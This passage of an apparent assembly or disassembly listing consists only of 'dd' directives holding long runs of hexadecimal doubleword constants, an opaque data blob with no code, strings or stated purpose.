4D0F9Bh, 3873E0Eh, 93EDC4A8h, 440314FEh, 6AEE6125h dd 23ABC079h, 0F5CC00D2h, 73BC4DC1h, 0C3009366h, 0C20596ECh dd 1D1CA78h, 0BDAED0D5h, 4048E75Dh, 0C4B508E8h, 0EFFE5910h dd 0E078D114h, 0AFFCC600h, 978672DDh, 36402607h, 7FA0F8A8h dd 0B82328h, 5A61B705h, 6DA4C55Fh, 0EDF6B0Eh, 0FD82A92Ch dd 0C1213987h, 0F0744259h, 0B100A034h, 8279BF90h, 1C5B56h dd 7DCA170h, 93E629BDh, 0FF922E00h, 0EDA80568h, 0F446382Fh dd 0B2308600h, 0AEFDC916h, 84B63C00h, 88D14A7Ah, 4DC6002Ch dd 3956DB86h, 6700CFA1h, 306465B6h, 85B946h, 0ED25878Ah dd 31A4568Ch, 2081E026h, 5D7C8038h, 6F4FB4FBh, 72789513h dd 0E601F000h, 7A1560BBh, 69F450h, 0A765640h, 0F0B422Dh dd 0DF9BE100h, 8ECD7B33h, 2CE501FCh, 7C763B13h, 6FAAF012h dd 0F100A2EEh, 0EA0CB2A5h, 7F71D4h, 501056E8h, 0C5EE824Fh dd 0E9F9B928h, 88B5DA00h, 9121CB6Ah, 7E10045h, 0CFFF858Fh dd 0D43FFD89h, 0C08B03F2h, 0E87E1152h, 36FC688h, 6803246Ch dd 0F8801C64h, 81002D33h, 0E9B53978h, 61F18h, 3180D055h dd 0A6EFF32Eh, 0FA1EAD00h, 1A935F5h, 0B41C30C7h, 8758A1A0h dd 3C71E078h, 0CB3C101h, 0AC74730Eh, 4A9920BDh, 0D437A215h dd 1100385Fh, 89535628h, 0A04383FFh, 3B3926BEh, 74806591h dd 3A0770ABh, 4F031D54h, 1844D33h, 0F8AFCB22h, 0C7A4EFh dd 0EA5441D2h, 92B41583h, 0DC5B6500h, 13C83998h, 2AD500ACh dd 38B6CBCCh, 1E1FD246h, 2E47429Dh, 0CFF04B3Eh, 0C384E3h dd 0A41B8C22h, 0A350B676h, 251E4400h, 0E404D197h, 1AD005Ch dd 0AE59416Bh, 400083B4h, 0EC3EC3A0h, 8448F6h, 6C114BCFh dd 0A6B23B20h, 0B5D0E400h, 0A4D9D812h, 0FC903F0Bh, 81A9BD00h dd 0A9CE70Ch, 7263331Ch, 0CCB69D00h, 0F45D3E3Fh, 733700B8h dd 0AFFBA009h, 0BB038958h, 0EF526123h, 6365F022h, 0F22E004Fh dd 92B9E1B4h, 300BD02h, 4D6280D8h, 74A012Dh, 763EEA9Ah dd 0B3811F29h, 30976C54h, 2307127Fh, 0BC8DBA41h, 4CF7D90h dd 0EDEC00FCh dd 0C9923B3Ch, 490033F5h, 22206153h, 0B1266Fh, 0B517E115h dd 0FEE33924h, 0AEF26D1Fh, 1864A203h, 0FB8DA86Eh, 5DA400B3h dd 4B3BCCF4h, 250038ABh, 33DC2664h, 61EF3Ah, 4CDE6376h dd 1799056Dh, 19E4E200h, 15FC622Dh, 8EC00044h, 5393F4B4h dd 0C5020F5Ah, 0AD1A5850h, 0BB63C029h, 8E9F0087h, 72FBDC2Bh dd 4500B377h, 0BF255D9Dh, 0B2B66Dh, 56E1E691h, 58CC1990h dd 0E513FC0Eh, 0A93BE0D6h, 36E2702h, 3441A498h, 80DF307Fh dd 33CB9987h, 0C36AAF00h, 0F1CD76B3h, 78A01E31h, 0EDBD80C2h dd 673D90D3h, 1A002A98h, 0A7355B32h, 0A9B3FAh, 90D60F72h dd 834B7885h, 21EB2600h, 162502F9h, 646200EAh, 7CE2AD31h dd 0CB007996h, 2D9421E7h, 140D77Bh, 4583E39h, 7B3BE8ABh dd 0D250B0h, 0F311F479h, 8EBDEDEBh, 0D7A0300h, 2FE8AE20h dd 0F8B90730h, 0E0E9602Eh, 9773B237h, 0CFB8EC00h, 17A11A9Bh dd 44700FDh, 774B9420h, 7E007560h, 91CCFB22h, 46FA4Eh dd 2C4FA632h, 0DAA1ECDCh, 0E400F2B8h, 709DACA7h, 7575EC4h dd 0BC9651D7h, 0E56E2095h, 8C003294h, 34D3C1F2h, 1910E19h dd 377EDA08h, 205C1D5Dh, 0A80F9802h, 17C9F05h, 0C9411756h dd 0F0F0EBC3h, 0B44F2Ah, 0D1C85957h, 32978D21h, 30617803h dd 0DF7093E9h, 0A51866C0h, 84EA0088h, 0A12F3E19h, 0EE005680h dd 0F6776D79h, 62CC6Eh, 69C1202Bh, 39DCC311h, 34785079h dd 4B5EE0BDh, 2354001Ah, 0BAEEB573h, 9F71525Ch, 9A145600h dd 381171ABh, 74B05Bh, 606820B7h, 0BDDCEED6h, 16ACE000h dd 0C1D82C5Fh, 0C27155h, 3C0122B9h, 619BC7BEh, 0E8017FB0h dd 5F102924h, 2BDC878Fh, 182E0008h, 42BFED88h, 4C0095DBh dd 0E6EE8D17h, 72D163C6h, 0D0270056h, 0C73FC22h, 0E2072037h dd 0D6A1E662h, 34DB6670h, 0AFE7016Fh, 716A907Dh, 0F91430F3h dd 37B4BB0Eh, 5B80627Ch, 341048EAh, 0E7C70068h, 9AB798A2h dd 0F5030367h, 360BCE01h, 9D7EA05Ah, 0A3C600DFh, 0B98A3BD2h dd 9300D10Eh, 0DA2F8D34h, 1A76724h, 0BD4C9B0Bh, 80FE98B7h dd 0B4FFF9A9h, 373A55h, 2248CD16h, 0A0D388C3h, 7C989600h dd 93D8CE4Bh, 77380F5Dh, 0C7C082A2h, 45E2599h, 840F5C09h dd 3D027F2Ah, 8A811EAEh, 20032C98h, 990E78A4h, 0C3219D4Fh dd 0F35ABDB6h, 472ED8B0h, 0EEEF00D0h, 0A5E894CCh, 31022A6Ch dd 60A3FC24h, 0B7E6605Fh, 0DA0F3973h, 0B3E44380h, 498DBCF3h dd 0D6D03Bh, 0E10ED1B8h, 5018F0h, 0DF7F4769h, 0AB346026h dd 81496300h, 1AFEA571h, 94E600C5h, 84FDC815h, 0E300982Bh dd 4EAA1210h, 458F9Ch, 9A897EC3h, 6C95DA22h, 0B10638E6h dd 0A3D4D25Ch, 425E00B8h, 0A505BB54h, 67008833h, 9EF1DB65h dd 18F5937Bh, 61223E13h, 0EC3F7189h, 43248010h, 0F4CDD57Ah dd 413000AEh, 956DD7Eh, 0A0029983h, 57C84F47h, 177DE0A3h dd 9E7F00ACh, 50C14D1h, 781FCDFFh, 0AA1F66C6h, 542CE487h dd 80040392h, 4A63B5B0h, 0A5700316h, 66E06BB6h, 0D63F02C8h dd 0B88E7607h, 57F0087Dh, 0F96D4FFFh, 0F6C81BD8h, 0F9C13FBAh dd 40D2721Eh, 1A99171Fh, 9A4863C7h, 7B0A0074h, 0AA7E8A64h dd 0AD34005Ah, 49877C2Fh, 0E024F7F9h, 810F3182h, 7A2E80B5h dd 4E62B6h, 2230DAC5h, 0B7662577h, 3384B20Bh, 76182439h dd 0EE657480h, 6C8C020Dh, 960C57A2h, 0FC21C060h, 5900B9FEh dd 0E330B5Fh, 0B2BCB8h, 3A1737C0h, 9D1CDBC1h, 0E4F37E07h dd 5951CD94h, 12205F2Bh, 0C097F654h, 3AFE4C48h, 44133C27h dd 0F00E1AECh, 69B01C1Fh, 1C9CA38h, 405FE5CFh, 0EA041286h dd 6B9C0040h, 0EE368800h, 0B8FD0823h, 0F14B0227h, 570A1CFh dd 0E782B8A0h, 0EAF4A883h, 0F369AE00h, 0CFEB9BBh, 3AB0122Dh dd 344B0038h, 4305638Fh, 6F7AFB00h, 0E52436D9h, 0C4453B20h dd 0B2616C00h, 0CEECE27Bh, 9B3C6000h, 0EEBF9E88h, 13403BB6h dd 1D5B4C24h, 10DB8007h, 0CEC63F19h, 0B1C3B900h, 71DF53E1h dd 87D9000Eh, 0F692D569h, 2000C4E8h, 0D60AFE52h, 1E7BF0A1h dd 40FA9F1Ch, 0D19295A2h, 0AB033FD2h, 77CC98D3h, 87B58043h dd 0CD6A0E7Bh, 0A2E0EA72h, 946D349h, 33E1260Bh, 0A6910042h dd 0D7974Eh, 0F0AAD0B8h, 7DF71DFDh, 93116600h, 88AC7C17h dd 62FF0170h, 90D0EE9Ah, 0A95BE4B0h, 0DD129D17h, 0E5003EA8h dd 0B02676Bh, 0F4005A9Eh, 0EC6DD451h, 7E4975A3h, 126E41Bh dd 0E141B2A0h, 0DCDC7BA6h, 64003CD3h, 0B54E08D7h, 0F2D674h dd 7A638E2Dh, 0BCAA2961h, 20F63E00h, 0D5A08991h, 60CFF87Eh dd 89718ADh, 9900281Ah, 0B834489Eh, 7C15345h, 0F6C0A175h dd 3F1E40EEh, 8700F917h, 4CB43BE1h, 54580Eh, 0EF2B7E9Ah dd 51A75E2h, 82554600h, 888C4D8Bh, 0FA1C0BADh, 0F780CFDAh dd 0B7088460h, 110EF70Fh, 52F26007h, 1A18890h, 22C9771Fh dd 0E1A058B9h, 5D7CFC9Dh, 39502000h, 312707F9h, 7773005Ch dd 0EA2CF533h, 0AF007D37h, 79C204C8h, 7699A0D5h, 0E98D0065h dd 0A53236BAh, 8C00C860h, 1CE7EC20h, 0EF38Fh, 64BF7438h dd 0DB6F11BCh, 5B9A8A2Ch, 9F605600h, 1E8CDE20h, 403D875Ah dd 0F31D6F55h, 191D7E1Ch, 4A2E869Bh, 6502DE12h, 0E0F81885h dd 570F216h, 61F93B1Ch, 344E80C9h, 190063C0h, 0F430B3D9h dd 0D04F89h, 7F32DC92h, 0D360612h, 422B3A0Fh, 256EE093h dd 0BF704Ah, 0EF79ABF3h, 0A15932E4h, 0C6AF1900h, 9C66A065h dd 0BCFE00A6h, 1DCE3EBFh, 0DA05363Fh, 1C088306h, 9D694B80h dd 0AE7D65h, 1F4C055Ah, 26C98BCFh, 0BDF95700h, 0B20F6986h dd 0E9F8D5h, 9E878902h, 7BA2FB9Dh, 4A1CA0C0h, 8C5AE6h dd 7A25B3D5h, 202DEF8Ah, 0FF4CE8C0h, 3CB1A1EBh, 0EC01C514h dd 2718AF9Eh, 0CC016044h, 826DF604h, 30906FD8h, 952B19h dd 7337B35Bh, 18511DD9h, 236F7103h, 0B8385CAAh, 7979340h dd 0DDB5099Ah, 4E49E01Fh, 0BD26C670h, 370E2A8Dh, 8604C050h dd 0B3391Ch, 31694327h, 0A2F141A6h, 530F33E6h, 0E7A8C047h dd 8301D12h, 3599C94h, 7D752809h, 1AB8F435h, 180F3F0Ah dd 606608B2h, 80C210FFh, 0F3E400E1h, 25ADC155h, 0C93CAA65h dd 0DA28E001h, 182379h, 8698313Ch, 0C0CF7B11h, 0D500A374h dd 2BC209C6h, 3C9A72F0h, 5853C31h, 0C0A3E80Ah, 0BE18781Dh dd 8DE6E000h, 0C5AE26F4h, 0EB1D0020h, 0B577E799h, 0AA0046D1h dd 65219503h, 117AF85h, 0D0164512h, 8051301Eh, 0D7567810h dd 609BBCh, 0F1F5E515h, 25AC09C5h, 666BD500h, 39BD7C8Dh dd 9BFC72h, 0AA4C041Dh, 8C3831ADh, 59969C00h, 8794F025h dd 7DFD002Bh, 0DCA2B857h, 0E900E14Ah, 4FAF99CDh, 8B29C9h dd 3D8F2011h, 128521DDh, 54D7013Eh, 9F009E90h, 40472AEDh dd 0E4CA7Fh, 0FCC5AF43h, 91FBFC1h, 631A3B05h, 0BAA3B4h dd 4873653Eh, 860043D2h, 69CD8720h, 426B30h, 0A62593CBh dd 5D8E5515h, 100E7400h, 5EF93C65h, 1F24EA38h, 80E4297Ch dd 0B4758426h, 0B50EB6B9h, 202F3BA9h, 80E0C4E3h, 0D9600342h dd 0A3B8AC4Bh, 0D2119088h, 0D028B263h, 5F35D87Ch, 0B5580015h dd 7B4E7619h, 7039838h, 0ABFB1B10h, 6A31F882h, 79121DA5h dd 9C97F6h, 94836466h, 7B0023FDh, 0F518DBF2h, 58F0C136h dd 1500924Ah, 4EB044E0h, 0C800E848h, 0EB1E1CA0h, 8ED5BAh dd 0BF9755CCh, 0F0461403h, 8B909500h, 411A91B8h, 4C750035h dd 21E6C35Fh, 0B2076B3Bh dd 0FA54C6F4h, 7685DFC0h, 0FE2B0E63h, 51A0D6ABh, 0F7306C0Ch dd 1CC0AC0Fh, 0ECF8E0B2h, 1C34B7Ch, 32774F7Ah, 0EC789989h dd 0D200590Ch, 0AA01343Ah, 250497h, 226B4E42h, 52D77CDFh dd 93FFD803h, 3E07DA4Dh, 0BC00A6A8h, 3E2CB699h, 3F0924B1h dd 83AE92E8h, 0B0A8FCF6h, 0D0CF6Bh, 72201067h, 122CC6Fh dd 0CA00C778h, 2A757C3Dh, 0E78597h, 0E8DF7F7Ah, 46E952CEh dd 5E3EB807h, 17001415h, 5094D7h, 97E724Eh, 4A29AB25h dd 0B13A1C00h, 18DA7FB5h, 0E98700E1h, 0E3818EBFh, 0D0FA624h dd 40B7906Eh, 0C1201AE5h, 71C9008Dh, 0E0F85AF4h, 0C4036FB6h dd 0A46C74EAh, 0DEE0FF58h, 9703DDh, 7221E257h, 39474113h dd 2E49C100h, 94CFF64Fh, 53CD1E35h, 0A6BA83C8h, 6D8644Ah dd 0A0F6D83Dh, 93009E75h, 43EA1F7Dh, 3F1A4DB2h, 1600E4D1h dd 6EC30B1Dh, 99ECBA84h, 293E0107h, 66F5C758h, 5640941Dh dd 0B6CEDBE7h, 32C800B2h, 0D590C3DCh, 3E00AA1Fh, 0FFCD7C6Ah dd 0AFB1D7h, 0A8DD94A6h, 639DAB66h, 50FEC000h, 0E71D3330h dd 71879BDh, 90EB8A74h, 10101CD8h, 98ACBF04h, 5600BE9Eh dd 0A3517F4Fh, 67C740h, 8DA5B36h, 0B3250302h, 343B2200h dd 48B26F59h, 0D1491CA7h, 0CB0FCE71h, 424C72AFh, 8A003B70h dd 8218E8FDh, 48DB5F6Dh, 210033F9h, 0BA47D4Bh, 81005299h dd 0FA04FB10h, 28C3A22Fh, 0DCE660h, 92AEEBD5h, 8AD67120h dd 79DC730Eh, 14005287h, 67E2279Dh, 7185588Dh, 0FD24EE00h dd 4C775C56h, 2C00C7F0h, 0D6A5502h, 3CF282h, 0A6C9B7B2h dd 23A7C4E1h, 0C94B400h, 9B9CD519h, 31B23DBAh, 80C7D11Ch dd 1B459EF2h, 480070A4h, 0CE9397BBh, 72A54D4h, 8EBE19A9h dd 0EBD14022h, 9FFECC33h, 0A37DA100h, 126D73AEh, 150F3DA9h dd 5B78DA00h, 0C2922DA2h, 296FA8A0h, 0F0002CE0h, 0FA7BD008h dd 967F0Ch, 692DC43h, 0AF6CFBCAh, 727C2CEEh, 0B8EFCC00h dd 0EBC6052Ah, 41210012h, 59691311h, 0BC70DC8Fh, 5833D000h dd 649CA9B8h, 46285815h, 0BE71E800h, 0DC34FE63h, 0B006490h dd 7FD7FDD6h, 17CAC6Dh, 10FBF4D4h, 0C4985973h, 8401C521h dd 7671072Ah, 0D1FBA081h, 0BAC8408Ch, 29770059h, 0AE19BE1Eh dd 75102E99h, 8F047887h, 4098FAA4h, 5BD2F22Dh, 1E4F0392h dd 0C7D7ED52h, 9F4BFDE0h, 660074F4h, 9AD6E64Ch, 7AE13DCh dd 0C3A82871h, 0F6B7C0DDh, 2C98E7D1h, 828C8E02h, 40B22A45h dd 9EEF2DCh, 12A274ECh, 0A415EC81h, 0D7A02086h, 0A8F87912h dd 4349F400h, 62E9A9CBh, 6AB010A0h, 2F544C99h, 11C33A0h dd 0C8774412h, 707003E7h, 0CE03CB79h, 0FCF0920Fh, 9059E8E0h dd 74E700FDh, 9B72B78Bh, 3E3082C9h, 26F61076h, 1A9E0252h dd 1937FD7Ah, 8DCC7F40h, 47EDD600h, 8C9BB2AAh, 0E24400A5h dd 59CD70AEh, 0B114EFA4h, 1CCC75Dh, 8F49B0BFh, 0F8DC379Ah dd 0D9E809h, 0E0F2F31h, 0A3BD304Dh, 299E9C1Fh, 5A21FC40h dd 3B29767h, 0DC6541DDh, 23B026B3h, 960070DBh, 0B5B9A78Eh dd 3F5EFEBh, 0FE65B50h, 0BC9911D3h, 0D1C42E4Fh, 0C963B040h dd 9081FFh, 98F39971h, 0A59EC2FBh, 0D9B9A800h, 0B7A74C6Bh dd 3CE53DE2h, 67AF5600h, 0CE6E0F31h, 6A73CA00h, 0D4CF815Fh dd 4677001Fh, 0AE9A86C7h, 3100E6FDh, 0B8ED2ADh, 2DF276Eh dd 0F074DDF9h, 1C09C0Eh, 0DE007F04h, 0D7D15A9h, 1FE4A5h dd 0B1340C9Eh, 0A4983FE6h, 83BE2C3Fh, 10DCF2Bh, 6EC1A821h dd 381D01B2h, 0EA0AA354h, 6F268F95h, 859C80ACh, 8ACCADh dd 4D1B3316h, 18EC0A0Dh, 0AA5B9B00h, 272AFFF2h, 0C1A70030h dd 57C7A4Ch, 1100F037h, 0E2EB7959h, 0A0E51C62h, 6E4190h dd 35B020C6h, 433F9C30h, 0E02D9103h, 0C0CBF41Eh, 41BFB9h dd 2172355Ch, 286958BAh, 0ABEAC0EFh, 0F300E877h, 0E1D63178h dd 302A0350h, 0AF0CA6C3h, 0B0046FEh, 7DE57312h, 1F82FC44h dd 0B5D743h, 28833ECBh, 0CA00EFA3h, 0F308E447h, 1ED5109h dd 1AEA1268h, 0E8106276h, 0AB49DA72h, 7723C1C0h, 0F440022Ah dd 129DEB38h, 6AD4C1h, 0BDBB12A4h, 6301A7D8h, 6B432DCAh dd 8430877Bh, 9A0A00D9h, 12B08D51h, 9700B4D2h, 77EB3056h dd 25766ED0h, 5E8F85F9h, 0B1E480E0h, 3A0087BAh, 0A8B8C1F2h dd 5875D6h, 0B29440E0h, 2AC00613h, 4A14F87Fh, 5ACA3EDh dd 26790B77h, 714B7AC0h, 2FCD004Fh, 135FB7E7h, 53B78E9h dd 0E1FF689h, 0F802C852h, 40205C22h, 0CA73D74h, 0B08AFAE1h dd 1100C710h, 79AB62AFh, 71554E6h, 7EA4109Fh, 0DB48C001h dd 6300F194h, 0DE03B1CFh, 0C02182B0h, 0EA98889h, 1B799394h dd 80F37605h, 8C226A1Eh, 3E82085h, 6C0067B6h, 0E9B8B4BBh dd 0F4A8BE62h, 22430050h, 3D2E3EDBh, 0C00088A2h, 7CCE3BA3h dd 0F46D4630h, 96C62845h, 0DA8600C5h, 0DD03E613h, 26000CA7h dd 8EDE46EFh, 95794Dh, 455AE544h, 0EED76487h, 8D60C000h dd 30A59777h, 0AE6100E9h, 1E4DC423h, 2600121Dh, 0CEF59C4Bh dd 17599F8Fh, 426A4F5Fh, 98B7C620h, 0F854FC60h, 0CCB63603h dd 0D4C2423Dh, 6ACE4580h, 1EA50233h, 0C8BCB0B3h, 95AE4868h dd 0A21190B1h, 3F223300h, 4CD65E34h, 7DCE9A12h, 4B2D6100h dd 1DFB39C5h, 0CC924612h, 40500A1Ch, 783CE77Ah, 0D2A80030h dd 9160EE01h, 0CEB4B8E2h, 0C01E168h, 0C6DCCF06h, 7CE093C2h dd 5EF8EC84h, 6F8B5D00h, 0BD1C1028h, 64FCBCh, 26E0FFC4h dd 8546E3Fh, 218E5300h, 0A1FA01F0h, 7F620AA5h, 92CFF8h dd 0D9F38D84h, 0E001B86h, 278248A7h, 4E212Eh, 8D9C90C2h dd 3ACD31AEh, 0C7D8A304h, 5880190Bh, 0AE5ED6Eh, 98736A77h dd 0A91FA4h, 35F9C47Fh, 9F0046B9h, 6226DFCAh, 3691E27h dd 0E954A0BAh, 1000252Dh, 954E1345h, 0E3E879h, 0B7E0D3E6h dd 0F96C06A5h, 1707787Bh, 0E448A95Eh, 7FA1AF0h, 0B5A000BFh dd 0F71C1D45h, 87C349Eh, 56BED001h, 4AE802F8h, 16276CCCh dd 37BF9A5h, 2BE173E4h, 0FAB88BB1h, 80B154C1h, 0C4501A21h dd 944E82h, 16D7FC26h, 1FD03325h, 46AE6014h, 5D6C0092h dd 0F6921768h, 8A300ACh, 3B730D9Eh, 5600D8E1h, 2B387128h dd 3DC0F1Eh, 5BA0E707h, 53E09612h, 0C71EF088h, 0DD80B3D5h dd 44E06C9Ch, 0C9A2028Bh, 510AB552h, 1E145760h, 0C5F82801h dd 50958D3Fh, 2D7C24h, 0AB2E886h, 0CD3EB81Eh, 590079F4h dd 9E7F74Ch, 0F6EA0EFh, 329C7BD9h, 9A3FCC80h, 76092638h dd 805C4AD1h, 0ED20E14Ch, 14BB093Bh, 0A1815E42h, 0E469DE7Dh dd 0E000BDBAh, 528F57EFh, 0F464F36h, 0AABFB00Ah, 5F05B880h dd 670031C7h, 1F64E155h, 1BCF44Dh, 3F5AA5Eh, 70AD9D6Ah dd 8D00DA24h, 0A556EBA8h, 0ED8845h, 0EE5D9EF2h, 20AD7CBDh dd 2F0015F0h, 5079C973h, 0B03A4111h, 0F4BC00E0h, 7E600E6Bh dd 8100C41Dh, 8567A992h, 8A4B7Ah, 0E25A4F1Eh, 8E511087h dd 0CD58F9F6h, 0F812849Ch, 0B71A6540h, 30002B90h, 0C2492961h dd 0D0D43Eh, 91E8BDCh, 0A2ACA736h, 50B5C012h, 0EA1C4300h dd 143C4762h, 9B213484h, 14CB6C06h, 0F3C38D5h, 2D030B42h dd 0E30C0223h, 33C8401Ah, 75FA0192h, 7FE1F6ACh, 0C898318Dh dd 0C107B07Eh, 0EB8F9791h, 81B06C97h, 1FC8485Dh, 0C0997DE8h dd 0DC4421A0h, 0AA078ABDh, 33DB2680h, 0F264601Fh, 58E52330h dd 9A00E4FCh, 0F3959483h, 10005561h, 20BA397Fh, 0EDA14AA3h dd 0FDD6064h, 3B4D9469h dd 0BA412640h, 3E002847h, 0A6FCCE61h, 987EE0B0h, 8F5600D0h dd 0AC421140h, 0CF7114A4h, 0D688DA00h, 710FE253h, 7C0E4CA8h dd 858A5C75h, 0F500013Fh, 0BF7E1555h, 32262FD7h, 9601B894h dd 5D5CEAC9h, 9470F8F5h, 415028E0h, 111200F2h, 0E737C135h dd 700F442h, 0DAD759DFh, 0B9F836h, 83CA1941h, 109AE297h dd 0DFDDF000h, 9E4FF902h, 0EFC205D1h, 0E4E1B1h, 75CD3DB9h dd 5601D357h, 9C534A0Dh, 0D041D2DCh, 17C42B35h, 0FFEE0254h dd 0E2E11F0Bh, 9980E4C8h, 8B929F09h, 405842BAh, 4A885CF0h dd 1D58008Ah, 0ACA24715h, 5A065902h, 0C0BAEB98h, 180D817Ch dd 285EADC7h, 1B26B4C1h, 0CD40BC4Ch, 90967C95h, 32CB00A9h dd 1719FC37h, 7E0028C4h, 8899FFD8h, 0B0082031h, 0EF6900D4h dd 2156A13Ah, 740EEEF8h, 0A0DFCD33h, 0ECAE2947h, 18A70064h dd 0BA62A4DCh, 85003B27h, 7179C93h, 32C4C5Ah, 0D9C60DB4h dd 0E3E0619Ah, 4790CA52h, 0C8B18228h, 5DC5BF00h, 6B281110h dd 0F028FDC6h, 0D3692F00h, 1EDF5E87h, 0C516503h, 0BF059011h dd 98AE9EE0h, 0E8F20061h, 9383B55Eh, 760B69EDh, 8786B6E9h dd 4C0D2A4h, 0BC5913h, 0C0D3D6E7h, 93E153D8h, 0E900767Fh dd 8743EE4h, 71A4425h, 0F997EB86h, 0AB8D1E0h, 0A0FE2089h dd 38623400h, 83ED48BAh, 67630950h, 88A0287Fh, 0C19A66A1h dd 0CBEF7103h, 0C8C24C11h, 0CDDB38Ah, 9423F90Fh, 0C500A3E9h dd 0EB195B5Ah, 0B9E901h, 0C3F17C6h, 0AB97BD37h, 0E251C009h dd 94DE00BFh, 0E0B25Eh, 4536B73Ch, 8BD76EDBh, 6200EBE2h dd 0D9CD872h, 631D16h, 0B198C650h, 4B186110h, 0F4F7600h dd 33EF0ED2h, 888451C8h, 15B3F20h, 0BEE2C72Fh, 7492E868h dd 8714C108h, 0BCA7DEh, 2A15D806h, 1E09584h, 31AAAC91h dd 0DD34AD12h, 0C5F02190h, 0F6C7C0CCh, 0EDD0500h, 0B0B63F92h dd 5B891CB2h, 47EF809Ch, 0FFA5D937h, 0C80027FCh, 0F4C68F76h dd 229321Fh, 0EEB6BB0Ah, 5C40D62Eh, 0AB0C4697h, 385ED444h dd 703E0BCDh, 707879Ch, 0BA84D058h, 76001ACFh, 36677A3h dd 0FA499Ah, 1F9CBE52h, 0F3E059C3h, 0FD54100h, 0C1680E7h dd 0DC0A006Eh, 128C75FBh, 101CE454h, 0AFC03371h, 2FCD403Ah dd 0B56F0085h, 13C894B3h, 32005B65h, 0C4D5B9D3h, 9FAD8DDh dd 0C896E88h, 0FF049950h, 945A72C7h, 245D85C0h, 0D8A445h dd 50A9251Ch, 0F2FA8B09h, 0B7499AFEh, 23870100h, 0A46F1502h dd 270EF468h, 90E0F2FDh, 170AE093h, 1D3FD704h, 74808B13h dd 0EED04332h, 218700B3h, 9ECE4294h, 7C3BB508h, 0E5AC0B02h dd 539F82D2h, 9EFCD10Ch, 127E4FF3h, 8B02A374h, 0CE4B2C21h dd 2484866h, 60D7A190h, 6CBA007Eh, 5097381Dh, 1400FC92h dd 33FD2C53h, 397E3Ah, 4DAABCDBh, 0F1D38F47h, 6067D000h dd 53F29B6Ch, 0EC73003Eh, 0DD8AB1A6h, 13946A4h, 85230FA1h dd 0A8D58078h, 0F0C5DF7Ah, 0F4D20019h, 0D83C295h, 771FE01Fh dd 6F856936h, 1CA1A810h, 5467E8h, 0E799AE0Eh, 0B1EE2AE0h dd 43EBBD00h, 30736D95h, 3FAB00FEh, 7008CD07h, 0B300FDF7h dd 7BD04FE7h, 9AF02B18h, 50CD00E0h, 0AA01369Ch, 0E1A07668h dd 0FC250E26h, 44600103h, 7980E3C4h, 0FD23B7C6h, 11029B30h dd 0EE0664Bh, 0A3108ACCh, 0C0FB0300h, 6DF1186h, 3C7D9B38h dd 0D43E2098h, 9A2803E0h, 90207E1Eh, 1C0AF9EBh, 40FCF50Ch dd 0DA6C731h, 67001FF1h, 95EEBBECh, 0E9229h, 0A888CC02h dd 0ADF156C1h, 66F43870h, 0FC598503h, 1FF99BE8h, 9E05B1h dd 57D13D09h, 81E906A7h, 2603D379h, 289E7BB7h, 0BB23808Eh dd 5EC3334Fh, 20B6A3Ah, 0E1C5D89h, 0D8090E6h, 64008438h dd 6A363CDh, 0C10E7220h, 0FAB36E20h, 431DDD73h, 0BDD07AC6h dd 10021D7h, 1790E6E8h, 7FFFE1h, 0DEF46534h, 0B08C57A2h dd 8087323Eh, 1DF35EBBh, 3EC1A197h, 8D00D71Bh, 0E746B4Dh dd 9E009596h, 5B40A9DDh, 0B2A585h, 565FBEE9h, 12055A4Bh dd 631F7C03h, 0F0D378A8h, 12C8F5BCh, 46A5B4h, 97448F61h dd 9D00E2BDh, 2A69D904h, 756E6A1h, 0AB485B7Dh, 70C4E76Bh dd 0ECC2F977h, 0AEEEF9C0h, 905C5D28h, 47CC81A5h, 0C0C60892h dd 284DD4A0h, 370993Eh, 80737125h, 0C1DC0F3h, 960FCEAh dd 0CF62E164h, 0F6913781h, 57BC5007h, 2901F8ADh, 0F99A58D3h dd 0E043A8FDh, 4D210F5Ah, 6760E7F5h, 84B04E06h, 3A48BB61h dd 4CF0306Ah, 0C9F28E5h, 8D6D04C0h, 0D7BC0F49h, 391BC09Ch dd 310341F1h, 383AE365h, 959DA166h, 224020BDh, 0BBE5CE1Eh dd 54CBD640h, 0F1DCF612h, 367804E8h, 0E970C360h, 0BAAD8E3Ch dd 0EB00CB6h, 981E085h, 0E81928BEh, 5CF70C20h, 6607F5C2h dd 0E7B6115h, 0C031082Ch, 0C391A521h, 0FA00ACC4h, 0A8D7A3Eh dd 6093F85Ch, 518C509Ah, 0AF3D57B0h, 0EA60F7C1h, 484D7E39h dd 0D018D05Fh, 32342862h, 80377403h, 0C0B0EBh, 42A22629h dd 4DF0674Eh, 8F89AA13h, 0A9776E00h, 7833Bh, 5411EFC6h dd 0D5C29718h, 68739B00h, 0F0B3ACB6h, 1E560781h, 8039E262h dd 0D7B17CAEh, 0E7689803h, 0C82B7294h, 0D09D83h, 0B544D87Dh dd 8F8E05ABh, 40544906h, 3008C036h, 0F62076E4h, 907B05C5h dd 130010ECh, 9992F57Eh, 2032083h, 0D4FCDABCh, 3BE00BCCh dd 98308241h, 0EF5E1833h, 54134070h, 0D87C2D01h, 0C047121Eh dd 80836761h, 27403B24h, 346180F7h, 60741DCFh, 20DDCC30h dd 4943FBh, 0A411A859h, 7752422Ch, 0C160546Ch, 18B374D5h dd 1189689Fh, 86002B5Dh, 209C923Eh, 747F14DAh, 21716021h dd 5C868FD4h, 0A800EDFEh, 72A0833Fh, 39F2634h, 0DF75A999h dd 0B864BE60h, 3C60BAB0h, 7C482A40h, 2358448Ch, 706DE40h dd 2A264944h, 6B00FB73h, 125D3A64h, 53888F00h, 0C9A0F613h dd 5C5B3A8Bh, 8C8EC8D4h, 0E5059604h, 0FE62918Fh, 54E1F20h dd 71110351h, 0B23173A6h, 0B48245E0h, 1E920840h, 0A9B898h dd 0A45F026Ch, 0A23AAFC9h, 0A15A0006h, 969884C6h, 47AA0060h dd 93C5B31Ch, 0C70023ABh, 0C2DE5661h, 0DBCCD8h, 667936D6h dd 6552BBBDh, 57FF6400h, 892129D1h, 19B40EDDh, 18AE5AAFh dd 25BC4AE0h, 75386F1Fh, 80DF3A54h, 8816A6A2h, 8A202Bh dd 65941E40h, 86BB79CDh, 0B9EB140Eh, 0A53520AFh, 0E65E4Eh dd 8B063C85h, 0E7D73D94h, 4AF177Eh, 0DE540461h, 0E5561080h dd 0F4C7A773h, 0CA923Fh, 5D577F81h, 7C3B0F75h, 90BC071Fh dd 0C779E47Bh, 77B9C707h, 0E54EC01Dh, 135045F2h, 630C782Ch dd 50A9E34Dh, 122222EAh, 7118ACF4h, 3628E232h, 977005Ah dd 7370EA08h, 7F008AADh, 1FB11AF0h, 3981B96h, 8C3D8BEEh dd 608E3C7Ah, 60A10F75h, 1E58102Eh, 8875301Dh, 32FC5B18h dd 3E7A0101h, 9D09F96Dh, 